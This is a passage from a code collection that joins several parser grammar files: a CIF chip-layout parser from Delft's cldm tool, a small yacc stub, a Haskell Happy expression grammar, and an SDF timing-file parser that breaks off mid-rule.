ok; }
%{ /* * ISC License * * Copyright (C) 1988-2018 by * <NAME> * <NAME> * Delft University of Technology * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "src/cldm/extern.h" extern char userChar[]; char AltCellname[1024]; char Termname[1024]; int box_xl, box_xr, box_yb, box_yt; int Box_x, Box_y, Box_dir; int Termx, Termy; char Termlayer[32]; int Points[1024]; int PointsIndex; int i; int mx,my; int rx,ry; int CurrentTransform[3][2]; double resolution; double xval; int doUserStartFlag = 0; int instnamed = 0; int termcount; /* counter to avoid duplicate terminals */ static int dolayer (char *s); char *find_alias (char *name); extern int try_input (); %} %token INTEGER %token SEMI %token BOX POLYGON ROUNDFLASH WIRE %token LAYER %token START FINISH %token DELETE %token CALL %token END %token MX MY ROTATE TRANS %token SHORTNAME %token USER %% program : stats END ; stats : /* E */ | stats stat ; stat : wire semi | start semi | finish semi | polygon semi | box semi | round semi | delete semi | user semi | layer semi | call semi | error semi { yyerrok; } | semi ; start : START cellid { doStart($2,1,1); } | START cellid scale scale { doStart($2,$3,$4); } ; finish : FINISH { strcpy (AltCellname, ""); if (err_flag) { pr_exit (0204, 26, ms_name); } if (mod_key) { if (err_flag) { append_tree (ms_name, &mod_tree); tree_ptr -> errflag = 1; close_files (); dmCheckIn (mod_key, QUIT); } else { write_info (); close_files (); dmCheckIn (mod_key, COMPLETE); } mod_key = NULL; ini_mcbbox = ini_bbbox = 0; } rm_tree (tnam_tree); rm_tree (inst_tree); tnam_tree = inst_tree = NULL; } ; layer : LAYER SHORTNAME { lay_code = dolayer (textval()); } ; wire : WIRE integer points { if (lay_code == -1) pr_exit (034, 0, "error: layer unspecified"); w_width = $2; w_x = 2 * Points[0]; w_y = 2 * Points[1]; for(int_ind = 2; int_ind <PointsIndex; int_ind++) int_val[int_ind-2] = 2 * (Points[int_ind] - Points[int_ind-2]); int_ind -= 2; if (!err_flag && !s_mode) proc_swire (); } ; polygon : POLYGON points { if (lay_code == -1) pr_exit (034, 0, "error: layer unspecified"); for(int_ind = 0 ; int_ind <PointsIndex;int_ind++) int_val[int_ind] = 4 * Points[int_ind]; int_val[int_ind++] = 4 * Points[0]; int_val[int_ind++] = 4 * Points[1]; if (int_ind >= NOINTS) pr_exit (0137, 8, 0); if (!err_flag && !s_mode) proc_poly (); } ; call : CALL cellid transforms { doCifCall ($2); } ; transforms : /* E */ | transforms transform ; transform : translate | mirrorx | mirrory | rotate ; translate : TRANS integer integer { TTranslate ($2, $3); } ; mirrorx : MX { TMX (); } ; mirrory : MY { TMY (); } ; rotate : ROTATE scale scale { TRotate ($2, $3); } ; points : /* E */ | points point ; point : integer integer { Points[PointsIndex++]=$1; Points[PointsIndex++]=$2; } ; box : BOX scale scale scale scale { doBox ($2,$3,$4,$5,1,0); } | BOX scale scale scale scale scale scale { doBox ($2,$3,$4,$5,$6,$7); } ; round : ROUNDFLASH integer integer integer { if (lay_code == -1) pr_exit (034, 0, "error: layer unspecified"); if ($4 <= 0) pr_exit (0214, 48, fromitoa ($4)); if (!err_flag && !s_mode) proc_circ ($2, $3, $4 / 2, 0, 0, 360000, 32); } ; delete : DELETE cellid { deletecell ($2); } ; user : USER { if (yylval == 9 && userChar[0] == ' ') { if (sscanf (userChar+1, "%s", AltCellname) != 1) yyerror ("user argument missing"); if (v_mode) P_E "-- Cellname (9 %s)\n", AltCellname); doUserStart (AltCellname); } /* CONNECTORS */ else if (yylval == 4 && userChar[0] == 'X') { /* Alliance/COMPASS */ int w; /* 4X <name> <index> <x> <y> <w> <signal> */ if (sscanf (userChar+1, "%s%d%d%d%d%s", Termname, &i, &Termx, &Termy, &w, Termlayer) != 6) yyerror ("user argument missing"); if (v_mode) P_E "-- Terminal (4X %s %d %d %d %d %s)\n", Termname, i, Termx, Termy, w, Termlayer); doUserTerm2 (w, w); } else if (yylval == 9 && userChar[0] == '5') { /* Berkley */ int w, h; /* 95 <name> <w> <h> <x> <y> <layer> */ int old_lc; if (sscanf (userChar+1, "%s%d%d%d%d%s", Termname, &w, &h, &Termx, &Termy, Termlayer) != 6) yyerror ("user argument missing"); if (v_mode) P_E "-- Terminal (95 %s %d %d %d %d %s)\n", Termname, w, h, Termx, Termy, Termlayer); old_lc = lay_code; lay_code = dolayer (Termlayer); if (lay_code != old_lc) P_E "%s: %d: warning: terminal layer not equal to current layer!\n", argv0, yylineno); doUserTerm2 (w, h); lay_code = old_lc; } /* SIGNALS */ else if (yylval == 4 && userChar[0] == 'N') { /* Alliance/COMPASS */ /* 4N <name> <x> <y> */ if (sscanf (userChar+1, "%s%d%d", Termname, &Termx, &Termy) != 3) yyerror ("user argument missing"); if (v_mode) P_E "-- Label (4N %s %d %d)\n", Termname, Termx, Termy); doUserLabel (); } else if (yylval == 9 && userChar[0] == '4') { /* Berkley */ /* 94 <name> <x> <y> <layer> */ int old_lc = lay_code; done_user_94 = 1; if (sscanf (userChar+1, "%s%d%d%s", Termname, &Termx, &Termy, Termlayer) != 4) yyerror ("user argument missing"); if (v_mode) P_E "-- %s (94 %s %d %d %s)\n", delft_old ? "Terminal" : "Label", Termname, Termx, Termy, Termlayer); lay_code = dolayer (Termlayer); if (lay_code != old_lc) P_E "%s: %d: warning: terminal layer not equal to current layer!\n", argv0, yylineno); if (delft_old) doUserTerm (); else doUserLabel (); lay_code = old_lc; } /* INSTANCES */ else if ((yylval == 4 && userChar[0] == 'I') /* Alliance: 4I <name> */ || (yylval == 9 && userChar[0] == '1')) { /* Berkley: 91 <name> */ if (sscanf (userChar+1, "%s", instance) != 1) yyerror ("user argument missing"); instnamed = 1; } else P_E "%s: %d: USER: NOT YET IMPLEMENTED (%d%s)\n", argv0, yylineno, yylval, userChar); } ; cellid : INTEGER { $$ = yylval; } ; integer : INTEGER { xval = yylval * resolution; $$ = i = (int)ROUND (xval); if (!r_mode) if (((double)i - xval) > 0.0001 || ((double)i - xval) < -0.0001) P_E "%s: %d: warning: %g rounded to %d\n", argv0, yylineno, xval, i); } ; scale : INTEGER { $$ = yylval; } ; semi : SEMI { PointsIndex = 0; tx = 0; ty = 0; mx = 0; my = 0; rx = 0; ry = 0; dx = 0; nx = 0; dy = 0; ny = 0; TIdentity (); } ; %% void yyerror (char *cs) { char *s = textval(); int c = s[0]; s[16] = '\0'; if ((c >= '\0' && c <= ' ') || c > '\176') { switch (c) { case '\n': sprintf (s, "eol"); break; case '\0': sprintf (s, "eof"); break; default: sprintf (s, "\\%03o", c); } } pr_exit (074, 0, cs); } void doStart (int s, int a, int b) { int tmp; lay_code = -1; /* set undefined */ resolution = (double) a / ((double) b * cifsf); tmp = 100000 * resolution + 0.1; resolution = (double) tmp / 100000; if (v_mode) P_E "-- Definition Start #%d (resolution = %g)\n", s, resolution); if (mod_key) { close_files (); dmCheckIn (mod_key, QUIT); mod_key = NULL; } err_flag = 0; /* no errors */ sprintf (ms_name, "symbol%d", s); if (!s_mode) { if (check_tree (ms_name, mod_tree)) { if (f_mode && !tree_ptr -> bbox) { pr_exit (0604, 42, ms_name); } else { /* already defined or used */ tree_ptr -> errflag = 1; if (!f_mode) pr_exit (0214, 9, ms_name); else pr_exit (0214, 37, ms_name); } } if (!err_flag) { mod_key = dmCheckOut (dmproject, ms_name, WORKING, DONTCARE, LAYOUT, CREATE); open_files (); ini_mcbbox = ini_bbbox = 1; } } doUserStartFlag = 1; } void doUserStart (char *s) { if (doUserStartFlag) { err_flag = 0; /* no errors */ if (lay_code != -1) { P_E "%s: %d: warning: possibly loosing data; user statement not after 'ds'!\n", argv0, yylineno); } if (mod_key) { close_files (); dmCheckIn (mod_key, QUIT); mod_key = NULL; } if (!s_mode) { if (check_tree (s, mod_tree)) { if (f_mode && !tree_ptr -> bbox) { pr_exit (0604, 42, s); } else { /* already defined or used */ tree_ptr -> errflag = 1; if (!f_mode) pr_exit (0214, 9, s); else pr_exit (0214, 37, s); } } if (!err_flag) { mod_key = dmCheckOut (dmproject, s, WORKING, DONTCARE, LAYOUT, CREATE); open_files (); ini_mcbbox = ini_bbbox = 1; } } /* store alias name s and ms_name in alias tree */ store_alias (ms_name, s); strcpy (ms_name, s); } else P_E "%s: %d: warning: no valid context present; statement skipped (9 %s)\n", argv0, yylineno, s); doUserStartFlag = 0; termcount = 1; } static int calc_coord (int val) { xval = resolution * val / 2; val = (int)ROUND (xval); if (!r_mode) if (((double)val - xval) > 0.0001 || ((double)val - xval) < -0.0001) P_E "%s: %d: warning: %g rounded to %d\n", argv0, yylineno, xval, val); return (val); } static int convert (int val) { xval = resolution * val; val = (int)ROUND (xval); if (!r_mode) if (((double)val - xval) > 0.0001 || ((double)val - xval) < -0.0001) P_E "%s: %d: warning: %g rounded to %d\n", argv0, yylineno, xval, val); return (val); } void doBox (int l, int w, int a, int b, int x, int y) { if (lay_code == -1) pr_exit (034, 0, "error: layer unspecified"); Box_x = a; Box_y = b; Box_dir = 0; a *= 2; b *= 2; if (y == 0) { box_xl = a - l; box_xr = a + l; box_yb = b - w; box_yt = b + w; } else if (x == 0) { box_xl = a - w; box_xr = a + w; box_yb = b - l; box_yt = b + l; } else { Box_dir = 1; if (!err_flag && !s_mode) ABox (l, w, a, b, x, y); return; } if (!err_flag && !s_mode) { box_xl = calc_coord (box_xl); box_xr = calc_coord (box_xr); box_yb = calc_coord (box_yb); box_yt = calc_coord (box_yt); proc_box (box_xl, box_xr, box_yb, box_yt); } } void doCifCall (int s) { char *alias; /* look for alias name for symbol%d and if exists use it */ sprintf (mc_name, "symbol%d", s); alias = find_alias (mc_name); if (alias != 0) strcpy (mc_name, alias); else if (s == 0 && try_input ()) { sscanf (userChar, "%s", mc_name); if (v_mode) P_E "-- c0, using cell '%s'\n", mc_name); } MapTrans (); if (!err_flag && !s_mode) { if (mod_key != NULL) proc_cif_mc (instnamed, CurrentTransform[0][0], CurrentTransform[1][0], CurrentTransform[2][0], CurrentTransform[0][1], CurrentTransform[1][1], CurrentTransform[2][1]); else P_E "%s: %d: warning: no valid context present; statement skipped (C %d)\n", argv0, yylineno, s); } if (instnamed) { instnamed = 0; if (v_mode) P_E "-- c%d, instance '%s'\n", s, instance); } } void ABox (int Length, int Width, int XPos, int YPos, int XDirection, int YDirection) { double C, sqrt (); int i, Left, Bottom, Right, Top; Left = XPos - Length; Right = XPos + Length; Bottom = YPos - Width; Top = YPos + Width; C = sqrt ((double) (XDirection * XDirection + YDirection * YDirection)); i = 0; Points[i++] = (Left * XDirection - Bottom * YDirection - XDirection * XPos + YDirection * YPos) / C + XPos; Points[i++] = (Left * YDirection + Bottom * XDirection - YDirection * XPos - XDirection * YPos) / C + YPos; Points[i++] = (Left * XDirection - Top * YDirection - XDirection * XPos + YDirection * YPos) / C + XPos; Points[i++] = (Left * YDirection + Top * XDirection - YDirection * XPos - XDirection * YPos) / C + YPos; Points[i++] = (Right * XDirection - Top * YDirection - XDirection * XPos + YDirection * YPos) / C + XPos; Points[i++] = (Right * YDirection + Top * XDirection - YDirection * XPos - XDirection * YPos) / C + YPos; Points[i++] = (Right * XDirection - Bottom * YDirection - XDirection * XPos + YDirection * YPos) / C + XPos; Points[i++] = (Right * YDirection + Bottom * XDirection - YDirection * XPos - XDirection * YPos) / C + YPos; for (int_ind = 0; int_ind < i; int_ind++) int_val[int_ind] = 2 * Points[int_ind]; int_val[int_ind++] = 2 * Points[0]; int_val[int_ind++] = 2 * Points[1]; proc_poly (); } void TTranslate (int XPos, int YPos) { CurrentTransform[2][0] = CurrentTransform[2][0] + XPos; CurrentTransform[2][1] = CurrentTransform[2][1] + YPos; } void TMY () { /* MY in cif means mirror in y direction, i.e. y = -y * AND NOT like in ldm over y axis */ CurrentTransform[0][1] = -CurrentTransform[0][1]; CurrentTransform[1][1] = -CurrentTransform[1][1]; CurrentTransform[2][1] = -CurrentTransform[2][1]; } void TMX () { /* MX in cif means mirror in x direction, i.e. x = -x * AND NOT like in ldm over x axis */ CurrentTransform[0][0] = -CurrentTransform[0][0]; CurrentTransform[1][0] = -CurrentTransform[1][0]; CurrentTransform[2][0] = -CurrentTransform[2][0]; } void TRotate (int XDirection, int YDirection) { /* * Rotation angle is expressed as a CIF-style direction vector. */ int Int1; if (XDirection == 0) { if (YDirection > 0) { /* rotate ccw by 90 degrees */ Int1 = CurrentTransform[0][0]; CurrentTransform[0][0] = -CurrentTransform[0][1]; CurrentTransform[0][1] = Int1; Int1 = CurrentTransform[1][0]; CurrentTransform[1][0] = -CurrentTransform[1][1]; CurrentTransform[1][1] = Int1; Int1 = CurrentTransform[2][0]; CurrentTransform[2][0] = -CurrentTransform[2][1]; CurrentTransform[2][1] = Int1; } if (YDirection < 0) { /* rotate ccw by 270 degrees */ Int1 = CurrentTransform[0][0]; CurrentTransform[0][0] = CurrentTransform[0][1]; CurrentTransform[0][1] = -Int1; Int1 = CurrentTransform[1][0]; CurrentTransform[1][0] = CurrentTransform[1][1]; CurrentTransform[1][1] = -Int1; Int1 = CurrentTransform[2][0]; CurrentTransform[2][0] = CurrentTransform[2][1]; CurrentTransform[2][1] = -Int1; } } else if (YDirection == 0) { if (XDirection < 0) { /* rotate ccw by 180 degrees */ for (Int1 = 0; Int1 < 3; ++Int1) { CurrentTransform[Int1][0] = -CurrentTransform[Int1][0]; CurrentTransform[Int1][1] = -CurrentTransform[Int1][1]; } } } else { char buf[80]; sprintf (buf, "error: cannot handle rotation angle \"R%d %d\"!", XDirection, YDirection); pr_exit (014, 0, buf); } } void TIdentity () { CurrentTransform[0][0] = CurrentTransform[1][1] = 1; CurrentTransform[0][1] = CurrentTransform[1][0] = 0; CurrentTransform[2][0] = CurrentTransform[2][1] = 0; } void MapTrans () { int pos = 0; /* Maps anti clock and clock wise, i.e. R 90 -> R 270 and R 270 -> R 90 */ if (CurrentTransform[0][0] == 1 && CurrentTransform[0][1] == 0 && CurrentTransform[1][0] == 0 && CurrentTransform[1][1] == 1) pos = 0; else if (CurrentTransform[0][0] == 0 && CurrentTransform[0][1] == -1 && CurrentTransform[1][0] == 1 && CurrentTransform[1][1] == 0) pos = 1; else if (CurrentTransform[0][0] == -1 && CurrentTransform[0][1] == 0 && CurrentTransform[1][0] == 0 && CurrentTransform[1][1] == -1) pos = 2; else if (CurrentTransform[0][0] == 0 && CurrentTransform[0][1] == 1 && CurrentTransform[1][0] == -1 && CurrentTransform[1][1] == 0) pos = 3; /* mx my */ else if (CurrentTransform[0][0] == 1 && CurrentTransform[0][1] == 0 && CurrentTransform[1][0] == 0 && CurrentTransform[1][1] == -1) pos = 4; else if (CurrentTransform[0][0] == -1 && CurrentTransform[0][1] == 0 && CurrentTransform[1][0] == 0 && CurrentTransform[1][1] == 1) pos = 5; /* mx r90 mx r270 */ else if (CurrentTransform[0][0] == 0 && CurrentTransform[0][1] == 1 && CurrentTransform[1][0] == 1 && CurrentTransform[1][1] == 0) pos = 6; else if (CurrentTransform[0][0] == 0 && CurrentTransform[0][1] == -1 && CurrentTransform[1][0] == -1 && CurrentTransform[1][1] == 0) pos = 7; switch (pos) { case 0: CurrentTransform[0][0] = 1, CurrentTransform[0][1] = 0; CurrentTransform[1][0] = 0, CurrentTransform[1][1] = 1; break; case 1: CurrentTransform[0][0] = 0, CurrentTransform[0][1] = 1; CurrentTransform[1][0] = -1, CurrentTransform[1][1] = 0; break; case 2: CurrentTransform[0][0] = -1, CurrentTransform[0][1] = 0; CurrentTransform[1][0] = 0, CurrentTransform[1][1] = -1; break; case 3: CurrentTransform[0][0] = 0, CurrentTransform[0][1] = -1; CurrentTransform[1][0] = 1, CurrentTransform[1][1] = 0; break; case 5: CurrentTransform[0][0] = -1, CurrentTransform[0][1] = 0; CurrentTransform[1][0] = 0, CurrentTransform[1][1] = 1; break; case 4: CurrentTransform[0][0] = 1, CurrentTransform[0][1] = 0; CurrentTransform[1][0] = 0, CurrentTransform[1][1] = -1; break; case 7: CurrentTransform[0][0] = 0, CurrentTransform[0][1] = -1; CurrentTransform[1][0] = -1, CurrentTransform[1][1] = 0; break; case 6: CurrentTransform[0][0] = 0, CurrentTransform[0][1] = 1; CurrentTransform[1][0] = 1, CurrentTransform[1][1] = 0; break; } } void deletecell (int s) { char name[DM_MAXNAME + 1]; if (v_mode) P_E "-- dd %d\n", s); sprintf (name, "symbol%d", s); if (!s_mode) { if (check_tree (name, mod_tree)) { dmRemoveCell (dmproject, name, WORKING, DONTCARE, LAYOUT); } else { P_E "%s: %s: Symbol not defined\n", argv0, name); } } } void dumpT (char *s) { P_E "Trans Matrix: (%s)\n", s); P_E "%d %d\n%d %d\n%d%d\n\n", CurrentTransform[0][0], CurrentTransform[0][1], CurrentTransform[1][0], CurrentTransform[1][1], CurrentTransform[2][0], CurrentTransform[2][1]); } void doTerminal () { if (strlen (Termname) > DM_MAXNAME) { pr_exit (0634, 18, Termname); sprintf (name_len, "%d", DM_MAXNAME); pr_exit (0600, 19, name_len); Termname[DM_MAXNAME] = '\0'; } strcpy (terminal, Termname); if (append_tree (terminal, &tnam_tree)) { /* create a new unique name for the connector */ sprintf (Termname, "%s_c%d_", terminal, termcount++); /* SdeG4.21 */ P_E "%s: %d: warning: terminal \"%s\" already used; using \"%s\"\n", argv0, yylineno, terminal, Termname); if (strlen (Termname) > DM_MAXNAME) { pr_exit (0634, 18, Termname); sprintf (name_len, "%d", DM_MAXNAME); pr_exit (0600, 19, name_len); Termname[DM_MAXNAME] = '\0'; } strcpy (terminal, Termname); if (append_tree (terminal, &tnam_tree)) pr_exit (034, 12, terminal); /* must not happen any more */ } if (!err_flag && !s_mode) proc_term (box_xl, box_xr, box_yb, box_yt); } void doUserTerm () { int r = 1; done_user_term = 1; if (t_mode) { box_xl = convert (Termx); box_yb = convert (Termy); box_xr = box_xl + t_width; box_yt = box_yb + t_width; } else if (Termx != Box_x || Termy != Box_y) { goto err; } else if (Box_dir) { r = 2; goto err; } doTerminal (); return; err: P_E "%s: %d: warning: terminal \"%s\" skipped!\n", argv0, yylineno, Termname); switch (r) { case 1: P_E "-- Previous Box centerpoint not equal to Terminal centerpoint!\n"); P_E "-- Consider the use of the option '-t' that automatically\ngenerates a terminal point or rectangle\n"); break; case 2: P_E "-- Previous Box direction not usable for Terminal!\n"); break; } } void doUserTerm2 (int w, int h) { done_user_term = 1; if (lay_code == -1) { pr_exit (034, 0, "error: layer unspecified"); } else { box_xr = 2 * Termx; box_yt = 2 * Termy; box_xl = calc_coord (box_xr - w); box_xr = calc_coord (box_xr + w); box_yb = calc_coord (box_yt - h); box_yt = calc_coord (box_yt + h); doTerminal (); } } void doUserLabel () { if (lay_code == -1) { pr_exit (034, 0, "error: layer unspecified"); return; } if (strlen (Termname) > DM_MAXNAME) { pr_exit (0634, 18, Termname); sprintf (name_len, "%d", DM_MAXNAME); pr_exit (0600, 19, name_len); Termname[DM_MAXNAME] = '\0'; } strcpy (label, Termname); if (append_tree (label, &tnam_tree)) { /* pr_exit (034, 12, label); *//* already used */ /* ignored for labels */ /* new: no duplicate labels allowed */ /* old: space migth say something about duplicate label names, but do not care, it's the same signal */ P_E "%s: %d: warning: label \"%s\" already used; skipped!\n", argv0, yylineno, label); } else { int rx, ry; rx = convert (Termx); ry = convert (Termy); if (!err_flag && !s_mode) proc_label (rx, ry); } } static int dolayer (char *s) { register int i; for (i = 0; s[i]; ++i) { if (i == DM_MAXLAY) { pr_exit (0634, 15, s); sprintf (name_len, "%d", DM_MAXLAY); pr_exit (0600, 19, name_len); break; } if (isupper ((int)s[i])) layer[i] = tolower (s[i]); else layer[i] = s[i]; } layer[i] = '\0'; i = 0; /* layer specified! */ if (!s_mode) { for (; i < process -> nomasks; ++i) if (!strcmp (layer, process -> mask_name[i])) return (i); pr_exit (034, 20, layer);/* unrecogn. laycode */ } return (i); } static int aliascount = 0; struct aliasptr { char *alias; char *name; struct aliasptr *next; }; static struct aliasptr *rootpnt, *currpnt; char *find_alias (char *name) { struct aliasptr *cellptr; int i; cellptr = rootpnt; for (i = 0; i < aliascount; i++) { if (strcmp (cellptr -> name, name) == 0) { return (cellptr -> alias); } cellptr = cellptr -> next; } return ((char *) 0); } void store_alias (char *name, char *alias) { struct aliasptr *cellptr; ALLOC (cellptr, aliasptr); cellptr -> name = _dmStrSave (name); cellptr -> alias = _dmStrSave (alias); cellptr -> next = 0; if (aliascount == 0) { rootpnt = cellptr; currpnt = cellptr; } else { currpnt -> next = cellptr; currpnt = cellptr; } aliascount++; }
%{ struct { int x, y; } point; %} %% %% struct { int x, y; } vector;
<reponame>seni/happy-vhdl<filename>examples/vhdl/expr/Expr.y { module Expr where import Char } %name expr %tokentype { Token } %token 'n' {Token_num} '+' {Token_plus} '*' {Token_mult} '(' {Token_left_paren} ')' {Token_right_paren} %left '+' %left '*' %% Exp :: {Exp} Exp : 'n' { N } | Exp '+' Exp { Plus $1 $3 } | Exp '*' Exp { Mult $1 $3 } | '(' Exp ')' { $2 } --Exp : Exp '+' Term { Plus $1 $3 } -- | Term { $1 } --Term : Term '*' Factor { Mult $1 $3 } -- | Factor { $1 } --Factor : '(' Exp ')' { $2 } -- | 'n' { N } { happyError :: [Token] -> a happyError _ = error ("Parse error\n") data Exp = N | Plus Exp Exp | Mult Exp Exp deriving Show data Token = Token_num | Token_plus | Token_mult | Token_left_paren | Token_right_paren lexer :: String -> [Token] lexer [] = [] lexer ('n':cs) = Token_num : lexer cs lexer ('+':cs) = Token_plus : lexer cs lexer ('*':cs) = Token_mult : lexer cs lexer ('(':cs) = Token_left_paren : lexer cs lexer (')':cs) = Token_right_paren : lexer cs lexer ( _ :cs) = lexer cs run :: String -> Exp run = expr . lexer }
<reponame>gokulprasath7c/secure_i2c_using_ift %{ /* * Copyright (c) 1998-2010 <NAME> (<EMAIL>) * * This source code is free software; you can redistribute it * and/or modify it in source code form under the terms of the GNU * General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ extern int sdflex(void); static void yyerror(const char*msg); # include "vpi_user.h" # include "sdf_parse_priv.h" # include "sdf_priv.h" # include <stdio.h> # include <string.h> # include <stdlib.h> /* This is the hierarchy separator to use. */ char sdf_use_hchar = '.'; %} %union { unsigned long int_val; double real_val; char* string_val; struct sdf_delay_s delay; struct port_with_edge_s port_with_edge; struct sdf_delval_list_s delval_list; }; %token K_ABSOLUTE K_CELL K_CELLTYPE K_COND K_DATE K_DELAYFILE K_DELAY K_DESIGN %token K_DIVIDER K_HOLD K_INCREMENT K_INSTANCE K_INTERCONNECT K_IOPATH %token K_NEGEDGE K_POSEDGE K_PROCESS K_PROGRAM K_RECREM K_RECOVERY %token K_REMOVAL K_SDFVERSION K_SETUP K_SETUPHOLD K_TEMPERATURE %token K_TIMESCALE K_TIMINGCHECK K_VENDOR K_VERSION K_VOLTAGE K_WIDTH %token K_01 K_10 K_0Z K_Z1 K_1Z K_Z0 %token K_EQ K_NE K_CEQ K_CNE K_LOGICAL_ONE K_LOGICAL_ZERO %token HCHAR %token <string_val> QSTRING IDENTIFIER %token <real_val> REAL_NUMBER %token <int_val> INTEGER %type <string_val> celltype %type <string_val> cell_instance %type <string_val> hierarchical_identifier %type <string_val> port port_instance port_interconnect %type <real_val> signed_real_number %type <delay> delval rvalue rtriple signed_real_number_opt %type <int_val> edge_identifier %type <port_with_edge> port_edge port_spec %type <delval_list> delval_list %% source_file : '(' K_DELAYFILE sdf_header_list cell_list ')' | '(' K_DELAYFILE error ')' { vpi_printf("%s:%d:SDF ERROR: Invalid DELAYFILE format\n", sdf_parse_path, @2.first_line); } ; sdf_header_list : sdf_header_list sdf_header_item | sdf_header_item ; sdf_header_item : sdfversion | design_name | date | vendor | program_name | program_version | hierarchy_divider | voltage | process | temperature | time_scale ; sdfversion : '(' K_SDFVERSION QSTRING ')' { free($3); } ; design_name : '(' K_DESIGN QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Design: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; date : '(' K_DATE QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Date: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; vendor : '(' K_VENDOR QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Vendor: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; program_name : '(' K_PROGRAM QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Program: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; program_version : '(' K_VERSION QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Program Version: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; hierarchy_divider : '(' K_DIVIDER '.' ')' { sdf_use_hchar = '.'; } | '(' K_DIVIDER '/' ')' { sdf_use_hchar = '/'; } | '(' K_DIVIDER HCHAR ')' { /* sdf_use_hchar no-change */; } ; voltage : '(' K_VOLTAGE rtriple ')' | '(' K_VOLTAGE signed_real_number ')' ; process : '(' K_PROCESS QSTRING ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: Process: %s\n", sdf_parse_path, @2.first_line, $3); free($3); } ; temperature : '(' K_TEMPERATURE rtriple ')' | '(' K_TEMPERATURE signed_real_number ')' ; time_scale : '(' K_TIMESCALE REAL_NUMBER IDENTIFIER ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: TIMESCALE : %f%s\n", sdf_parse_path, @2.first_line, $3, $4); free($4); } | '(' K_TIMESCALE INTEGER IDENTIFIER ')' { if (sdf_flag_inform) vpi_printf("%s:%d:SDF INFO: TIMESCALE : %lu%s\n", sdf_parse_path, @2.first_line, $3, $4); free($4); } ; cell_list : cell_list cell | cell ; cell : '(' K_CELL celltype cell_instance { sdf_select_instance($3, $4); /* find the instance in the design */} timing_spec_list_opt ')' { free($3); if ($4) free($4); } | '(' K_CELL error ')' { vpi_printf("%s:%d: Syntax error in CELL\n", sdf_parse_path, @2.first_line); } ; celltype : '(' K_CELLTYPE QSTRING ')' { $$ = $3; } ; cell_instance : '(' K_INSTANCE hierarchical_identifier ')' { $$ = $3; } | '(' K_INSTANCE ')' { $$ = strdup(""); } | '(' K_INSTANCE '*' ')' { $$ = 0; } | '(' K_INSTANCE error ')' { vpi_printf("%s:%d:SDF ERROR: Invalid/malformed INSTANCE argument\n", sdf_parse_path, @2.first_line); $$ = strdup(""); } ; timing_spec_list_opt : /* Empty */ | timing_spec_list_opt timing_spec ; timing_spec : '(' K_DELAY deltype_list ')' | '(' K_DELAY error ')' { vpi_printf("%s:%d: Syntax error in CELL DELAY SPEC\n", sdf_parse_path, @2.first_line); } | '(' K_TIMINGCHECK tchk_def_list ')' | '(' K_TIMINGCHECK error ')' { vpi_printf("%s:%d: Syntax error in TIMINGCHECK SPEC\n", sdf_parse_path, @2.first_line); } ; deltype_list : deltype_list deltype | deltype ; deltype : '(' K_ABSOLUTE del_def_list ')' | '(' K_INCREMENT del_def_list ')' | '(' error ')' { vpi_printf("%s:%d: SDF ERROR: Invalid/malformed delay type\n", sdf_parse_path, @1.first_line); } ; del_def_list : del_def_list del_def | del_def ; del_def : '(' K_IOPATH port_spec port_instance delval_list ')' { sdf_iopath_delays($3.vpi_edge, $3.string_val, $4, &$5); free($3.string_val); free($4); } | '(' K_IOPATH error ')' { vpi_printf("%s:%d: SDF ERROR: Invalid/malformed IOPATH\n", sdf_parse_path, @2.first_line); } /* | '(' K_INTERCONNECT port_instance port_instance delval_list ')' */ | '(' K_INTERCONNECT port_interconnect port_interconnect delval_list ')' { if (sdf_flag_warning) vpi_printf("%s:%d: SDF WARNING: " "INTERCONNECT not supported.\n", sdf_parse_path, @2.first_line); free($3); free($4); } | '(' K_INTERCONNECT error ')' { vpi_printf("%s:%d: SDF ERROR: Invalid/malformed INTERCONNECT\n", sdf_parse_path, @2.first_line); } ; tchk_def_list : tchk_def_list tchk_def | tchk_def ; /* Timing checks are ignored. */ tchk_def : '(' K_SETUP port_tchk port_tchk rvalue ')' | '(' K_HOLD port_tchk port_tchk rvalue ')' | '(' K_SETUPHOLD port_tchk port_tchk rvalue rvalue ')' | '(' K_RECOVERY port_tchk port_tchk rvalue ')' | '(' K_RECREM port_tchk port_tchk rvalue rvalue ')' | '(' K_REMOVAL port_tchk port_tchk rvalue ')' | '(' K_WIDTH port_tchk rvalue ')' ; port_tchk : port_instance { } /* This must only be an edge. For now we just accept everything. */ | cond_edge_start port_instance ')' { } /* These must only be a cond. For now we just accept everything. */ | cond_edge_start timing_check_condition port_spec ')' { } | cond_edge_start QSTRING timing_check_condition port_spec ')' { } ; cond_edge_start : '(' { start_edge_id(1); } cond_edge_identifier { stop_edge_id(); } ; cond_edge_identifier : K_POSEDGE | K_NEGEDGE | K_01 | K_10 | 